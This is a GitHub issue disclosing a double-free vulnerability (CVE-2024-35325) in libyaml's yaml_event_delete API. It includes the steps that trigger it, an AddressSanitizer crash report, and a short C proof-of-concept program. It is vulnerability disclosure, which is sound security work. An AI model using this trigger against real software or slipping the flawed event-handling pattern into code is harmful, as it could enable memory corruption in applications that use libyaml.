Skip to content

double-free on yaml_event_delete api #297

@idhyt

Description

@idhyt

Description

alloc anchor by api yaml_sequence_start_event_initialize, then add event by api yaml_emitter_emit,
we could free anchor again by yaml_event_delete after call yaml_emitter_delete
the detail process in below:

    step1: yaml_sequence_start_event_initialize
            -> alloc `anchor` by yaml_strdup at api.c:887
    step2: yaml_emitter_initialize && yaml_emitter_emit
            -> add event, call ENQUEUE (emitter.c:288) copy data from event to emitter.events.tail, (*((queue).tail++) = value, 1)
    step3: yaml_emitter_delete
            -> first free at api.c:400 -> yaml_event_delete(&DEQUEUE(emitter, emitter->events))
    step4: yaml_event_delete
            -> double free at api.c:1015

ASAN Report

╰─ ./poc
double-free poc
=================================================================
==1897917==ERROR: AddressSanitizer: attempting double-free on 0x602000000010 in thread T0:
    #0 0x4937bd in free (~/idhyt/poc/poc+0x4937bd)
    #1 0x4c5bd7 in yaml_free ~/idhyt/poc/libyaml/src/api.c:53:14
    #2 0x4c5bd7 in yaml_event_delete ~/idhyt/poc/libyaml/src/api.c:1015:13
    #3 0x4c335f in poc ~/idhyt/poc/./double-free.c:33:5
    #4 0x4c343f in main ~/idhyt/poc/./double-free.c:41:5
    #5 0x7f3803d7a082 in __libc_start_main /build/glibc-e2p3jK/glibc-2.31/csu/../csu/libc-start.c:308:16
    #6 0x41b2fd in _start (~/idhyt/poc/poc+0x41b2fd)

0x602000000010 is located 0 bytes inside of 7-byte region [0x602000000010,0x602000000017)
freed by thread T0 here:
    #0 0x4937bd in free (~/idhyt/poc/poc+0x4937bd)
    #1 0x4c5bd7 in yaml_free ~/idhyt/poc/libyaml/src/api.c:53:14
    #2 0x4c5bd7 in yaml_event_delete ~/idhyt/poc/libyaml/src/api.c:1015:13
    #3 0x61b0000007e7  (<unknown module>)

previously allocated by thread T0 here:
    #0 0x47fde4 in strdup (~/idhyt/poc/poc+0x47fde4)
    #1 0x4c79aa in yaml_strdup ~/idhyt/poc/libyaml/src/api.c:66:27
    #2 0x4c79aa in yaml_sequence_start_event_initialize ~/idhyt/poc/libyaml/src/api.c:887:23
    #3 0x4c32f9 in poc ~/idhyt/poc/./double-free.c:24:5
    #4 0x4c343f in main ~/idhyt/poc/./double-free.c:41:5

SUMMARY: AddressSanitizer: double-free (~/idhyt/poc/poc+0x4937bd) in free
==1897917==ABORTING

Poc

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <yaml.h>

void poc() {
    yaml_document_t document;
    memset(&document, 0, sizeof(yaml_document_t));
    yaml_document_initialize(&document, NULL, NULL, NULL, 0, 0);

    yaml_event_t event;
    memset(&event, 0, sizeof(yaml_event_t));
    int encoding = YAML_ANY_ENCODING;

    yaml_document_add_sequence(&document, YAML_NULL_TAG, YAML_ANY_SEQUENCE_STYLE);

    // step1: allocated by yaml_strdup(anchor) at api.c:887
    yaml_sequence_start_event_initialize(&event, "anchor", YAML_NULL_TAG, 0, YAML_ANY_SEQUENCE_STYLE);

    yaml_emitter_t emitter;
    memset(&emitter, 0, sizeof(yaml_emitter_t));
    yaml_emitter_initialize(&emitter);

    // step2: yaml_emitter_emit call ENQUEUE (emitter.c:288) copy data from event to emitter.events.tail -> (*((queue).tail++) = value, 1)
    yaml_emitter_emit(&emitter, &event);
    // step3: first free at api.c:400 -> yaml_event_delete(&DEQUEUE(emitter, emitter->events));
    yaml_emitter_delete(&emitter);
    // step4: double free at api.c:1015
    yaml_event_delete(&event);

    yaml_document_delete(&document);
}

int main(int argc, char *argv[])
{
    printf("double-free poc\n");
    poc();
    return 0;
}

the reserved CVE ID CVE-2024-35325 will be made public after the vulnerability is fixed.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions